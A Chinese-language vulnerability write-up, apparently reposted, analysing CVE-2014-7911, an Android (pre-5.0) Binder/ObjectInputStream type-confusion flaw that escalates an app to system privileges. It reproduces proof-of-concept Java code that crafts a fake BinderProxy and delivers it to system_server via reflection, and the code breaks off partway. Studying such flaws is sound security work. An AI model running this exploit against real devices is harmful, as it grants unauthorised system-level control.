1. 程式人生 > >CVE-2014-7911 Android本地提權漏洞分析與利用

CVE-2014-7911 Android本地提權漏洞分析與利用

概述

前面我們瞭解了Android Binder機制的基本原理,當然僅僅瞭解是不夠的,我們要做到:Know it and hack it。這篇文章我們就來分析一個和Binder相關的漏洞:CVE-2014-7911。這是由Jann Horn發現的一個Android本地提權漏洞,能夠使普通應用的許可權提升到System許可權,影響Android5.0以下版本。這個漏洞是非常值得Android安全研究人員學習的一個漏洞,因為這個漏洞涉及到Android Binder,Java序列化,Dalvik GC機制,Heap spary,ROP,Stack pivot等知識,很有學習價值。

文章的內容主要來源於公開的資料,我在其基礎上添加了一些細節。

漏洞成因

java層

這個漏洞的成因在於在Android<5.0的版本中,java.io.ObjectInputStream並未校驗輸入的java物件是否是可序列化的。攻擊者可以構建一個不可序列化的物件例項,並且構建惡意的成員變數,當該物件被ObjectInputStream反序列化的時候,就會發生型別混淆,其成員變數被當做原生代碼的指標,使攻擊者可以獲得程式的控制權。
具體的來說,是android.os.BinderProxy這個類,本身是不可序列化的,在系統GC的時候,會呼叫到它的finalize方法,在這個方法中呼叫到了一個指標,而這個指標正好可以被我們控制,所以可以通過構造惡意的指標來達到程式碼執行。下面我們結合jann Horn的Poc具體分析下漏洞成因:
首先構造一個可序列化的物件。

1
2
3
4
5
6
7
8
9
10
11
12
package AAdroid.os;

import java.io.Serializable;

/**
 * Created by auo on 15-6-25.
 */
public class BinderProxy implements Serializable {
    private static final long serialVersionUID = 0;
    public int mObject = 0x1337beef;
    public int mOrgue = 0x1337beef
;
}

這裡定義了一個AAdroid.os.BinderProxy物件,並且實現了Serializable介面,使得這個類可序列化,因為我們需要現將這個類放入到Bundle中才能傳入到system_server程序,在傳入的過程中修改它的型別位android.os.BinderProxy,這樣在system_server反序列化的時候就會觸發異常。我們繼續看傳送函式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
private void exploit(int staticAddr) {
        Context context = getBaseContext();
        try {
            Bundle bundle = new Bundle();
            BinderProxy evilProxy = new BinderProxy();
            bundle.putSerializable("eatthis", evilProxy);

            Class stubClass = null;
            for (Class inner : Class.forName("android.os.IUserManager").getDeclaredClasses()) {
                if (inner.getCanonicalName().equals("android.os.IUserManager.Stub")) {
                    stubClass = inner;
                }
            }

            Field TRANSACTION_setApplicationRestrictionsField = stubClass.getDeclaredField("TRANSACTION_setApplicationRestrictions");
            TRANSACTION_setApplicationRestrictionsField.setAccessible(true);
            TRANSACTION_setApplicationRestrictions = TRANSACTION_setApplicationRestrictionsField.getInt(null);

            Class proxyClass = null;
            for (Class inner : stubClass.getDeclaredClasses()) {
                if (inner.getCanonicalName().equals("android.os.IUserManager.Stub.Proxy")) {
                    proxyClass = inner;
                }
            }

            UserManager userManager = (UserManager) context.getSystemService(Context.USER_SERVICE);
            Field mServiceField = UserManager.class.getDeclaredField("mService");
            mServiceField.setAccessible(true);
            Object mService = mServiceField.get(userManager);

            Field mRemoteField = proxyClass.getDeclaredField("mRemote");
            mRemoteField.setAccessible(true);
            mRemote = (IBinder) mRemoteField.get(mService);

            UserHandle userHandle = android.os.Process.myUserHandle();
            setApplicationRestrictions(context.getPackageName(), bundle, userHandle.hashCode());
        }
        catch (Exception e) {
            e.printStackTrace();
        }
    }

這裡通過一系列的反射來獲取android.os.IUserManager.Stub.Proxy.mRemote類,IUserManager物件是AIDL自動生成的,在UserManager中定義了一個例項。

1
2
3
4
5
6
7
public class UserManager {

    private static String TAG = "UserManager";
    private final IUserManager mService;
    private final Context mContext;
    ...
}

通過反射獲取到這個例項的mRemote物件,我們前面已經知道在Binder客戶端的mRemote其實是一個BinderProxy類,這個類的transact函式將方法描述符和引數傳遞給服務端,進行遠端呼叫。所以這裡獲得這個物件其實就是為了像servermanager傳遞我們構造的惡意物件,為什麼要傳遞給servermanager呢,這是因為servermanager擁有system許可權,把物件傳遞給它,servermanager在反序列化時發生型別混淆,我們就可以在servermanager程序用system許可權執行程式碼。所以通過前面我們瞭解到,這裡的客戶端和服務端包括髮送的惡意物件的類都不是固定的,因為漏洞的關鍵點不在這兩個類中而是在ObjectInputStream這個類中,所以只要滿足能夠觸發漏洞的條件即可。下面我們具體來看傳送物件的過程中做了什麼工作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
private void setApplicationRestrictions(java.lang.String packageName, android.os.Bundle restrictions, int
            userHandle) throws android.os.RemoteException
{
        android.os.Parcel _data = android.os.Parcel.obtain();
        android.os.Parcel _reply = android.os.Parcel.obtain();
        try {
            _data.writeInterfaceToken(DESCRIPTOR);
            _data.writeString(packageName);
            _data.writeInt(1);
            restrictions.writeToParcel(_data, 0);

            
           

相關推薦

CVE-2014-7911 Android本地漏洞分析利用

概述 前面我們瞭解了Android Binder機制的基本原理,當然僅僅瞭解是不夠的,我們要做到:Know it and hack it。這篇文章我們就來分析一個和Binder相關的漏洞:CVE-2014-7911。這是由Jann Horn發現的一個Android本

CVE-2016-1240(Tomcat本地漏洞分析復現)

前言       Tomcat是個執行在Apache上的應用伺服器,支援執行Servlet/JSP應用程式的容器——可以將Tomcat看作是Apache的擴充套件,實際上Tomcat也可以獨立於Apache執行。        Tomcat於2016年10月1日曝出本地提權漏

Tomcat曝本地漏洞CVE-2016-1240 附PoC)

就在各位歡度國慶的時候,Tomcat於10月1日曝出本地提權漏洞CVE-2016-1240。僅需Tomcat使用者低許可權,攻擊者就能利用該漏洞獲取到系統的ROOT許可權。而且該漏洞的利用難度並不大,受影響的使用者需要特別關注。 Tomcat是個執行在Apache上的應用伺

CVE-2016-1240漏洞分析(Tomcat本地漏洞

前幾天刷Freebuf的時候發現了在國慶期間爆了一個Tomcat本地提權漏洞,乍一看漏洞利用指令碼是一個shell批處理,想著也不會太難,就抱著學習的目的試著做了分析。以下是本人的分析學習總結。 0x0 漏洞描述     Debian系統的Linux上管理員通常利用apt-

臟牛Linux本地漏洞復現(CVE-2016-5195)

cin 實現 ubun pass 進入 函數 dirty 賬號密碼 swd 學習該漏洞的原因: 總是看到圈子裏一位老哥發文章使用這個漏洞來提權,進過測試發現centos比較難提取,而Ubuntu是比較好提權的。 漏洞範圍: Linux kernel >= 2.6.22

CVE-2018-8120 WIN7 08漏洞exp

提權漏洞exp在虛擬機測試成功影響範圍Win7 x32, Win7 x64, Win2008 x32, Win2008 R2 x32, Win2008 R2 x64.exphttp://www.o2oxy.cn/wp-content/uploads/2018/05/CVE-2018-8120.zipCVE-2

重大安全事件 | Ubuntu 16.04.4 暴本地漏洞

漏洞簡介Twitter 上 Nikolenko 發推表示 Ubuntu 最新版本存在一個本地提權

漏洞預警:Tomcat曝本地漏洞

Tomcat於10月1日曝出本地提權漏洞CVE-2016-1240。僅需Tomcat使用者低許可權,攻擊者就能利用該漏洞獲取到系統的ROOT許可權。而且該漏洞的利用難度並不大,受影響的使用者需要特別關注。 Tomcat是個執行在Apache上的應用伺服器,支援執行Ser

Tomcat 服務本地漏洞預警

10月1日,Tomcat爆出了一個本地提權漏洞。通過該漏洞,攻擊者可以通過一個低許可權的Tomcat使用者獲得系統的root許可權。漏洞相關資訊:CVE ID:CVE-2016-1240漏洞原理:在Debian系統的Linux上管理員通常利用apt-get進行包管理,deb包

墨者學院 - 主機溢位漏洞分析

背景介紹 公司內部伺服器,上面有一簡單的上傳入口,剛入職的小夥伴在C盤根目錄下有一個TXT文字檔案,說許可權設定的很低,除Administrator外,其他使用者無法讀取到內容,直接向安全工程師"墨者"發出挑戰,讓其測試。 實訓目標 1、掌握檔案上傳的技巧; 2、掌握IIS中

主機溢位漏洞分析

背景介紹 公司內部伺服器,上面有一簡單的上傳入口,剛入職的小夥伴在C盤根目錄下有一個TXT文字檔案,說許可權設定的很低,除Administrator外,其他使用者無法讀取到內容,直接向安全工程師"墨者"發出挑戰,讓其測試。 實訓目標 1、掌握檔案上傳的技巧; 2

SSRF漏洞分析利用

轉自:http://www.4o4notfound.org/index.php/archives/33/#pingback-26 作者: 404notfound 時間: 2017-05-25 分類: 網路安全,程式碼審計 瀏覽: 5812 前言:總結了一些常見的姿勢,以PH

懸鏡安全丨Java 反序列化任意程式碼執行漏洞分析利用

本文首發平臺:懸鏡官網,如需轉載,請聯絡小編,謝謝。        2015年的1月28號,Gabriel Lawrence (@gebl)和Chris Frohoff (@frohoff)在AppSecCali上給出了一個報告[3],報告中介紹了Java反序列化漏洞可以利用Apache Commons

Ubuntu本地CVE-2017-16995)復現

面向新手,大佬勿噴 漏洞概述 2018-03-16有網友釋出訊息:ubuntu 最新版本(Ubuntu 16.04)存在高危的本地提權漏洞,漏洞編號為CVE-2017-16995。該漏洞存在於呼叫eBPF bpf(2)的Linux核心系統中,當用戶提供惡意BPF程式使eBPF驗證器模組產生計算錯誤,導致任

關於Kubernetes CVE-2018-1002105 漏洞的修復公告

近日Kubernetes社群發現安全漏洞 CVE-2018-1002105。通過偽造請求,Kubernetes使用者可以在已建立的API Server連線上提權訪問後端服務,阿里雲容器服務已第一時間修復,請登入阿里雲控制檯升級您的Kubernetes版本。 漏洞詳細介紹:https://github.com

關於Android的root漏洞

0x001 什麼是root? 三種常見的root方案: 第一種:利用漏洞提權,並將一個帶有恰當set-uid許可權的su檔案移動到系統分割槽。市面上的一鍵root等工具就是基於此原理。 往/system/xbin放進一個叫su的檔案,設定可執行許可權,並將SUID

高危預警 | Windows核心漏洞(CVE-2018-1038)

2018年3月30日,阿里云云盾應急響應中心監測到微軟官方釋出Windows7 x64 和 Windows Server 2008 R2安全補丁(CVE-2018-1038),解決使用者在2018年1月-3月期間因安裝微軟安全補丁而導致系統存在高危核心提權漏洞的問題。

Android adb setuid漏洞分析

去年的Android adb setuid提權漏洞被用於各類root刷機,漏洞發現人Sebastian Krahmer公佈的利用工具RageAgainstTheCage(rageagainstthecage-arm5.bin)被用於z4root等提權工具、Trojan.Android.Rootcager等惡

ADB配置漏洞CVE-2017-13212)原理利用分析

adb由於擁有shell許可權,因此僅在授權PC端後才可使用shell許可權,而通過該漏洞,可以實現在移動端獲取shell許可權,以致於可隨意刪除應用、螢幕截圖等等高許可權操作。不過移動端惡意應用程式必須能夠連線到adbd正在監聽的TCP埠,這就需要應用程式

CVE-2017-1000112淺析-linux核心漏洞

前言 Andrey Konovalov最近披露了他通過syzcaller fuzzing在Linux網路子系統內部發現的本地提權漏洞。在oss–sec的郵件中Konovalov寫道:當構建一個帶有MSG_MORE的UFO包時,__ip_append_dat